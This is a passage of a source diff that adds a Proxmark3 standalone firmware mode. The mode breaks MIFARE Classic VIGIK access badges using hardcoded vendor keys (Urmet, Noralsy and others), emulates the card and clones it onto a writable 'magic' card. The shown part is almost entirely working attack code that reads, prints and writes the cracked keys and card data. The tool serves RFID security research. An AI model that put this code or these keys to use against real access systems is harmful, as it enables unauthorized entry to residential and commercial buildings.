TYP: %d", sectorNo, tosendkey, t); + sectorNo = 13; + num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 14; + num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + sectorNo = 15; + num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + trapped = 1; + break; + ////////////////END OF SCHEME 1////////////////////////////// + + /////////////////////////////////////// + // COMMON SCHEME 2 : URMET CAPTIVE / COGELEC!/? + case 0x8829da9daf76: + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, " .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%sDetected :%sURMET_CAPTIVE_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_); + cjSetCursLeft(); + + // emlClearMem(); + // A very weak one... + for (uint16_t t = 0; t < 2; t++) { + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + num_to_bytes(key64, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + } + } + trapped = 1; + break; + ////////////////END OF SCHEME 2////////////////////////////// + + /////////////////////////////////////// + // COMMON SCHEME 3 : NORALSY "A-LARON & B-LARON . . . NORAL-B & NORAL-A" + case 0x414c41524f4e: // Thumbs up to the guy who had the idea of such a "mnemotechnical" key pair + case 0x424c41524f4e: + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, " .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s Detected :%sNORALSY_VIGIK_TAG %s", _ORANGE_, _CYAN_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_); + ; + t = 0; + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + num_to_bytes(0x414c41524f4e, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + ; + } + t = 1; + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + num_to_bytes(0x424c41524f4e, 6, foundKey[t][sectorNo]); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + cjSetCursRight(); + + DbprintfEx(FLAG_NOLOG, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + } + trapped = 1; + break; + ////////////////END OF SCHEME 3////////////////////////////// + } + /* etc etc for testing schemes quick schemes */ + } + } + } + + if (!allKeysFound) { + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + cjSetCursLeft(); + cjTabulize(); + DbprintfEx(FLAG_NOLOG, "%s[ FAIL ]%s\r\n->did not found all the keys :'(", _RED_, _WHITE_); + cjSetCursLeft(); + return; + } + + /* Settings keys to emulator */ + emlClearMem(); + uint8_t mblock[16]; + for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); + for (uint8_t t = 0; t < 2; t++) { + memcpy(mblock + t * 10, foundKey[t][sectorNo], 6); + } + emlSetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); + } + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>%s Setting Keys->Emulator MEM...[%sOK%s]", _YELLOW_, _WHITE_, _GREEN_, _WHITE_); + + /* filling TAG to emulator */ + uint8_t filled = 0; + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>%s Filling Emulator <- from A keys...", _YELLOW_, _WHITE_); + e_MifareECardLoad(sectorsCnt, 0, 0, &filled); + if (filled != 1) { + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>%s W_FAILURE ! %sTrying fallback B keys....", _RED_, _ORANGE_, _WHITE_); + + /* no trace, no dbg */ + e_MifareECardLoad(sectorsCnt, 1, 0, &filled); + if (filled != 1) { + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "FATAL:EML_FALLBACKFILL_B"); + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + return; + } + } + end_time = GetTickCount(); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s>>%s Time for VIGIK break :%s%dms%s", _GREEN_, _WHITE_, _YELLOW_, end_time - start_time, _WHITE_); + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + + // SIM ? + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "-> We launch Emulation ->"); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "%s!> HOLD ON : %s When you'll click, simm will stop", _RED_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "Then %s immediately %s we'll try to %s dump our emulator state%s \r\nin a %s chinese tag%s", _RED_, _WHITE_, _YELLOW_, _WHITE_, + _CYAN_, _WHITE_); + cjSetCursLeft(); + cjSetCursLeft(); + + cjTabulize(); + + vtsend_cursor_position_save(NULL); + vtsend_set_attribute(NULL, 1); + vtsend_set_attribute(NULL, 5); + DbprintfEx(FLAG_NOLOG, "[ SIMULATION ]"); + vtsend_set_attribute(NULL, 0); + Mifare1ksim(0, 0, 0, NULL); + vtsend_cursor_position_restore(NULL); + DbprintfEx(FLAG_NOLOG, "[ SIMUL ENDED ]%s", _GREEN_, _WHITE_); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "<- We're out of Emulation"); + // END SIM + + /*for (;;) { + WDT_HIT(); + + int button_action = BUTTON_HELD(500); + if (button_action == 0) { // No button action, proceed with sim + SpinDelay(100); + WDT_HIT(); + + } else if (button_action == BUTTON_SINGLE_CLICK) { + */ + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "-> Trying a clone !"); + saMifareMakeTag(); + cjSetCursLeft(); + vtsend_cursor_position_restore(NULL); + DbprintfEx(FLAG_NOLOG, "%s[ CLONED? ]", _CYAN_); + + DbprintfEx(FLAG_NOLOG, "-> End Cloning."); + WDT_HIT(); + + // break; + /*} else if (button_action == BUTTON_HOLD) { + DbprintfEx(FLAG_RAWPRINT,"Playtime over. Begin cloning..."); + iGotoClone = 1; + break; + }*/ + + // Debunk... + // SpinDelay(300); + cjSetCursLeft(); + cjTabulize(); + vtsend_set_attribute(NULL, 0); + vtsend_set_attribute(NULL, 7); + DbprintfEx(FLAG_NOLOG, "- [ LA FIN ] -\r\n%s`-> You can take shell back :) ...", _WHITE_); + cjSetCursLeft(); + vtsend_set_attribute(NULL, 0); + + return; +} + +/* Abusive microgain on original MifareECardLoad : + * - *datain used as error return + * - tracing is falsed + */ +void e_MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) { + MF_DBGLEVEL = MF_DBG_NONE; + + uint8_t numSectors = arg0; + uint8_t keyType = arg1; + uint64_t ui64Key = 0; + // uint32_t cuid; + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + byte_t dataoutbuf[16]; + byte_t dataoutbuf2[16]; + // uint8_t uid[10]; + + LED_A_ON(); + LED_B_OFF(); + LED_C_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + clear_trace(); + set_tracing(false); + + bool isOK = true; + // iso14443a_fast_select_card(cjuid, 0); + + if (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) { + isOK = false; + if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_RAWPRINT, "Can't select card"); + } + + for (uint8_t sectorNo = 0; isOK && sectorNo < numSectors; sectorNo++) { + ui64Key = emlGetKey(sectorNo, keyType); + if (sectorNo == 0) { + if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) { + isOK = false; + if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "Sector[%2d]. Auth error", sectorNo); + break; + } + } else { + if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_NESTED)) { + isOK = false; + if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "Sector[%2d]. Auth nested error", sectorNo); + break; + } + } + + for (uint8_t blockNo = 0; isOK && blockNo < NumBlocksPerSector(sectorNo); blockNo++) { + if (isOK && mifare_classic_readblock(pcs, cjcuid, FirstBlockOfSector(sectorNo) + blockNo, dataoutbuf)) { + isOK = false; + if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "Error reading sector %2d block %2d", sectorNo, blockNo); + break; + }; + if (isOK) { + *datain = 1; + if (blockNo < NumBlocksPerSector(sectorNo) - 1) { + emlSetMem(dataoutbuf, FirstBlockOfSector(sectorNo) + blockNo, 1); + } else { // sector trailer, keep the keys, set only the AC + emlGetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1); + memcpy(&dataoutbuf2[6], &dataoutbuf[6], 4); + emlSetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1); + } + } else { + *datain = 0; + } + } + } + + if (mifare_classic_halt(pcs, cjcuid)) { + if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "Halt error"); + }; + + // ----------------------------- crypto1 destroy + crypto1_destroy(pcs); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + + if (MF_DBGLEVEL >= 2) + DbpString("EMUL FILL SECTORS FINISHED\n"); +} + +/* . . . */ + +/* the chk function is a piwi’ed(tm) check that will try all keys for +a particular sector. also no tracing no dbg */ + +int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key) { + MF_DBGLEVEL = MF_DBG_NONE; + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + set_tracing(false); + // uint8_t uid[10]; + // uint32_t cuid; + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + // byte_t isOK = 0; + + for (int i = 0; i < keyCount; ++i) { + LEDsoff(); + + /* no need for anticollision. just verify tag is still here */ + // if (!iso14443a_fast_select_card(cjuid, 0)) { + if (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) { + cjSetCursLeft(); + DbprintfEx(FLAG_NOLOG, "%sFATAL%s : E_MF_LOSTTAG", _RED_, _WHITE_); + return -1; + } + + uint64_t ui64Key = bytes_to_num(datain + i * 6, 6); + if (mifare_classic_auth(pcs, cjcuid, blockNo, keyType, ui64Key, AUTH_FIRST)) { + uint8_t dummy_answer = 0; + ReaderTransmit(&dummy_answer, 1, NULL); + // wait for the card to become ready again + SpinDelayUs(AUTHENTICATION_TIMEOUT); + continue; + } + LED_A_ON(); + crypto1_destroy(pcs); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + *key = ui64Key; + return i; + } + LED_A_ON(); + crypto1_destroy(pcs); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + return -1; +} + +void saMifareMakeTag(void) { + // uint8_t cfail = 0;` + cjSetCursLeft(); + cjTabulize(); + vtsend_cursor_position_save(NULL); + vtsend_set_attribute(NULL, 1); + DbprintfEx(FLAG_NOLOG, "[ CLONING ]"); + vtsend_set_attribute(NULL, 0); + + cjSetCursFRight(); + + DbprintfEx(FLAG_NOLOG, ">> Write to Special:"); + int flags = 0; + LED_A_ON(); // yellow + for (int blockNum = 0; blockNum < 16 * 4; blockNum++) { + uint8_t mblock[16]; + // cnt = 0; + emlGetMem(mblock, blockNum, 1); + // switch on field and send magic sequence + if (blockNum == 0) + flags = 0x08 + 0x02; + + // just write + if (blockNum == 1) + flags = 0; + + // Done. Magic Halt and switch off field. + if (blockNum == 16 * 4 - 1) + flags = 0x04 + 0x10; + + if (saMifareCSetBlock(0, flags & 0xFE, blockNum, mblock)) { //&& cnt <= retry) { + // cnt++; + cjSetCursFRight(); + if (currfline > 53) { + currfline = 54; + } + DbprintfEx(FLAG_NOLOG, "Block :%02x %sOK%s", blockNum, _GREEN_, _WHITE_); + // DbprintfEx(FLAG_RAWPRINT,"FATAL:E_MF_CHINESECOOK_NORICE"); + // cfail=1; + // return; + continue; + } else { + cjSetCursLeft(); + cjSetCursLeft(); + + DbprintfEx(FLAG_NOLOG, "`--> %sFAIL%s : CHN_FAIL_BLK_%02x_NOK", _RED_, _WHITE_, blockNum); + cjSetCursFRight(); + DbprintfEx(FLAG_NOLOG, "%s>>>>%s STOP AT %02x", _RED_, _WHITE_, blockNum); + + break; + } + cjSetCursFRight(); + + DbprintfEx(FLAG_NOLOG, "%s>>>>>>>> END <<<<<<<<%s", _YELLOW_, _WHITE_); + // break; + /*if (cfail == 1) { + DbprintfEx(FLAG_RAWPRINT,"FATAL: E_MF_HARA_KIRI_\r\n"); + break; + } */ + } +} + +//----------------------------------------------------------------------------- +// Matt's StandAlone mod. +// Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn) +//----------------------------------------------------------------------------- +int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) { + + // params + uint8_t needWipe = arg0; + // bit 0 - need get UID + // bit 1 - need wupC + // bit 2 - need HALT after sequence + // bit 3 - need init FPGA and field before sequence + // bit 4 - need reset FPGA and LED + uint8_t workFlags = arg1; + uint8_t blockNo = arg2; + + // card commands + uint8_t wupC1[] = {0x40}; + uint8_t wupC2[] = {0x43}; + uint8_t wipeC[] = {0x41}; + + // variables + byte_t isOK = 0; + // uint8_t uid[10] = {0x00}; + uint8_t d_block[18] = {0x00}; + // uint32_t cuid; + + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE]; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE]; + + // reset FPGA and LED + if (workFlags & 0x08) { + LED_A_ON(); + LED_B_OFF(); + LED_C_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + // clear_trace(); + set_tracing(FALSE); + } + + while (true) { + // cjSetCursLeft(); + + // get UID from chip + if (workFlags & 0x01) { + // if (!iso14443a_fast_select_card(cjuid, 0)) { + + if (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) { + if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "Can't select card"); + break; + }; + + if (mifare_classic_halt(NULL, cjcuid)) { + if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "Halt error"); + break; + }; + }; + + // reset chip + if (needWipe) { + ReaderTransmitBitsPar(wupC1, 7, 0, NULL); + if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "wupC1 error"); + break; + }; + + ReaderTransmit(wipeC, sizeof(wipeC), NULL); + if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "wipeC error"); + break; + }; + + if (mifare_classic_halt(NULL, cjcuid)) { + if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "Halt error"); + break; + }; + }; + + // chaud + // write block + if (workFlags & 0x02) { + ReaderTransmitBitsPar(wupC1, 7, 0, NULL); + if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "wupC1 error"); + break; + }; + + ReaderTransmit(wupC2, sizeof(wupC2), NULL); + if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "wupC2 errorv"); + break; + }; + } + + if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "write block send command error"); + break; + }; + + memcpy(d_block, datain, 16); + AddCrc14A(d_block,16); + ReaderTransmit(d_block, sizeof(d_block), NULL); + if ((ReaderReceive(receivedAnswer, receivedAnswerPar) != 1) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + DbprintfEx(FLAG_NOLOG, "write block send data error"); + break; + }; + + if (workFlags & 0x04) { + if (mifare_classic_halt(NULL, cjcuid)) { + // if (MF_DBGLEVEL >= 1) + cjSetCursFRight(); + + DbprintfEx(FLAG_NOLOG, "Halt error"); + break; + }; + } + + isOK = 1; + break; + } + + if ((workFlags & 0x10) || (!isOK)) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + } + + return isOK; +} + + diff --git a/armsrc/Standalone/hf_colin.h b/armsrc/Standalone/hf_colin.h new file mode 100644 index 000000000..ab3023c99 --- /dev/null +++ b/armsrc/Standalone/hf_colin.h @@ -0,0 +1,501 @@ +//----------------------------------------------------------------------------- +// Colin Brigato 2016, 2017 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// StandAlone Mod +//----------------------------------------------------------------------------- + +#ifndef FALSE +#define FALSE 0 +#endif + +#ifndef __HF_COLIN_H +#define __HF_COLIN_H + + +#include "proxmark3.h" +#include "mifareutil.h" +#include "iso14443a.h" +//#include "printf.h" +#include "protocols.h" +#include "util.h" +#include "standalone.h" // standalone definitions +#include // for bool +#include +#include +//#include +#include "vtsend.h" +#include "apps.h" + +#define _RED_ "\x1b[31m" +#define _GREEN_ "\x1b[32m" +#define _YELLOW_ "\x1b[33m" +#define _BLUE_ "\x1b[34m" +#define _MAGENTA_ "\x1b[35m" +#define _CYAN_ "\x1b[36m" +#define _WHITE_ "\x1b[0m" +#define _ORANGE_ _YELLOW_ + +int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key); +void e_MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void saMifareMakeTag(void); +int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void cjPrintBigArray(const char *bigar, int len, uint8_t newlines, uint8_t debug); + +const char clearTerm[8] = {0x1b, 0x5b, 0x48, 0x1b, 0x5b, 0x32, 0x4a, '\0'}; + +#define LOGO logo_kigiv + +const char sub_banner[] = " From Vigik : \"20 years of (un)security without a single update\""; +const char logo_kigiv[] = { + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, + 0x3b, 0x39, 0x35, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x33, 0x37, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x39, 0x35, + 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x39, 0x35, 0x6d, 0x30, 0x0d, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, + 0x3b, 0x39, 0x35, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x38, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x38, 0x6d, + 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x30, 0x32, + 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x34, 0x35, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x34, 0x35, 0x6d, 0x30, + 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x34, 0x35, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, 0x30, 0x0d, 0x0a, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x30, 0x32, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, + 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x38, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x34, 0x35, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, + 0x3b, 0x35, 0x39, 0x6d, 0x31, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x30, 0x32, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, + 0x38, 0x38, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x34, 0x35, 0x6d, 0x31, 0x0d, 0x0a, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, + 0x39, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x31, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, + 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x30, 0x6d, 0x31, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x39, 0x35, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, + 0x30, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, + 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x33, 0x38, 0x6d, 0x30, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x30, + 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, 0x30, + 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x30, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x32, 0x6d, 0x30, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x32, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x30, 0x31, 0x6d, 0x31, 0x1b, + 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x30, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x30, 0x6d, 0x31, 0x1b, 0x5b, 0x33, + 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, + 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, + 0x32, 0x32, 0x33, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x32, 0x33, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x31, 